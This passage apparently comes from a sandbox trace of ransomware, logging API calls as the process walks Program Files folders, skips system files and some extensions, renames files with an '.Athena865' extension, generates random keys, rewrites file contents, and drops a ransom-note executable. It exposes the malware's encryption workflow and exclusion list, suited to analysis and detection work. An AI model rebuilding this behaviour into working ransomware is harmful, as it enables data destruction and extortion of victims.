NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicesimplifiedshuangpin.txt.athena865"), dwFlags=0x1) returned 1 [0097.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicesimplifiedshuangpin.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0097.076] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1445430) returned 1 [0097.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0097.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0097.077] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0097.078] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.078] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.078] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x161140, lpName=0x0) returned 0x17c [0097.079] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x161140) returned 0x2d50000 [0097.224] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0097.224] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.224] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0097.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0097.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0097.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0097.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0097.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0097.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.225] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0097.237] CloseHandle (hObject=0x17c) returned 1 [0097.237] CloseHandle (hObject=0x154) returned 1 [0097.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0097.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0097.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.243] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x480459c4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x480459c4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x783c05dc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x1b9fb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedZhengMa.txt", cAlternateFileName="")) returned 1 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".") returned 1 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="..") returned 1 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="windows") returned -1 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="bootmgr") returned 1 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="temp") returned -1 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="pagefile.sys") returned 1 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="boot") returned 1 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="ids.txt") returned 1 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="ntuser.dat") returned 1 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="perflogs") returned 1 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="MSBuild") returned 1 [0097.243] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37 [0097.243] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="TableTextServiceSimplifiedZhengMa.txt") returned="TableTextServiceSimplifiedZhengMa.txt" [0097.243] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37 [0097.243] lstrlenW (lpString="Athena865") returned 9 [0097.243] lstrcmpiW (lpString1="engMa.txt", lpString2="Athena865") returned 1 [0097.243] lstrlenW (lpString=".dll") returned 4 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".dll") returned 1 [0097.243] lstrlenW (lpString=".lnk") returned 4 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".lnk") returned 1 [0097.243] lstrlenW (lpString=".ini") returned 4 [0097.243] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".ini") returned 1 [0097.243] lstrlenW (lpString=".sys") returned 4 [0097.244] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".sys") returned 1 [0097.244] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37 [0097.244] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt.Athena865") returned 98 [0097.244] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt.athena865"), dwFlags=0x1) returned 1 [0097.245] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0097.245] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1810352) returned 1 [0097.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0097.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0097.245] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0097.246] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.246] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.246] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ba2b0, lpName=0x0) returned 0x17c [0097.249] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ba2b0) returned 0x2d50000 [0097.309] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0097.310] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.310] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0097.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0097.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0097.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0097.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0097.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0097.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.310] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0097.327] CloseHandle (hObject=0x17c) returned 1 [0097.327] CloseHandle (hObject=0x154) returned 1 [0097.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0097.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0097.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.335] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482a6fb4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x482a6fb4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x783c05dc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".") returned 1 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="..") returned 1 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="windows") returned -1 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="bootmgr") returned 1 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="temp") returned -1 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="pagefile.sys") returned 1 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="boot") returned 1 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="ids.txt") returned 1 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="ntuser.dat") returned 1 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="perflogs") returned 1 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="MSBuild") returned 1 [0097.335] lstrlenW (lpString="TableTextServiceYi.txt") returned 22 [0097.335] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TableTextServiceYi.txt" | out: lpString1="TableTextServiceYi.txt") returned="TableTextServiceYi.txt" [0097.335] lstrlenW (lpString="TableTextServiceYi.txt") returned 22 [0097.335] lstrlenW (lpString="Athena865") returned 9 [0097.335] lstrcmpiW (lpString1="iceYi.txt", lpString2="Athena865") returned 1 [0097.335] lstrlenW (lpString=".dll") returned 4 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".dll") returned 1 [0097.335] lstrlenW (lpString=".lnk") returned 4 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".lnk") returned 1 [0097.335] lstrlenW (lpString=".ini") returned 4 [0097.335] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".ini") returned 1 [0097.336] lstrlenW (lpString=".sys") returned 4 [0097.336] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".sys") returned 1 [0097.336] lstrlenW (lpString="TableTextServiceYi.txt") returned 22 [0097.336] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt.Athena865") returned 83 [0097.336] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceyi.txt"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceyi.txt.athena865"), dwFlags=0x1) returned 1 [0097.337] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceyi.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0097.337] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=44968) returned 1 [0097.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0097.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0097.337] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0097.338] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.338] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.338] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb2b0, lpName=0x0) returned 0x17c [0097.340] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb2b0) returned 0x100000 [0097.343] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0097.344] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.344] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0097.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0097.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0097.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0097.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0097.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0097.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.344] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0097.345] CloseHandle (hObject=0x17c) returned 1 [0097.345] CloseHandle (hObject=0x154) returned 1 [0097.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0097.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0097.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.345] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482a6fb4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x482a6fb4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x783c05dc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0 [0097.345] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0097.345] ReleaseMutex (hMutex=0xec) returned 1 [0097.345] CloseHandle (hObject=0xec) returned 1 [0097.345] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US" [0097.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e6d0 | out: hHeap=0x4f0000) returned 1 [0097.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50da48 | out: hHeap=0x4f0000) returned 1 [0097.346] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US") returned 49 [0097.346] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\44C13A9472CB86F45496EEA8B54A4EE7") returned 0xec [0097.346] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.346] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US" [0097.346] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.351] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.351] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.352] GetLastError () returned 0x0 [0097.352] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.352] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.352] CloseHandle (hObject=0xf4) returned 1 [0097.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.353] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.353] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc409fc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc409fc00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0097.353] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.353] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.353] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.353] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc409fc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc409fc00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.353] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.353] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.353] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.353] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.353] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc409fc00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc409fc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.353] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.353] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0097.353] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.353] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.353] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".") returned 1 [0097.353] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="..") returned 1 [0097.353] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="windows") returned -1 [0097.353] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="bootmgr") returned 1 [0097.353] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="temp") returned -1 [0097.353] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="pagefile.sys") returned -1 [0097.353] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="boot") returned 1 [0097.354] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="ids.txt") returned 1 [0097.354] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="ntuser.dat") returned -1 [0097.354] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="perflogs") returned -1 [0097.354] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="MSBuild") returned -1 [0097.354] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22 [0097.354] lstrcpyW (in: lpString1=0x241e8ac, lpString2="ImagingDevices.exe.mui" | out: lpString1="ImagingDevices.exe.mui") returned="ImagingDevices.exe.mui" [0097.354] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22 [0097.354] lstrlenW (lpString="Athena865") returned 9 [0097.354] lstrcmpiW (lpString1="s.exe.mui", lpString2="Athena865") returned 1 [0097.354] lstrlenW (lpString=".dll") returned 4 [0097.354] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".dll") returned 1 [0097.354] lstrlenW (lpString=".lnk") returned 4 [0097.354] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".lnk") returned 1 [0097.354] lstrlenW (lpString=".ini") returned 4 [0097.354] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".ini") returned 1 [0097.354] lstrlenW (lpString=".sys") returned 4 [0097.354] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".sys") returned 1 [0097.354] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22 [0097.354] lstrlenW (lpString="bak") returned 3 [0097.354] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0097.354] lstrlenW (lpString="ba_") returned 3 [0097.354] lstrcmpiW 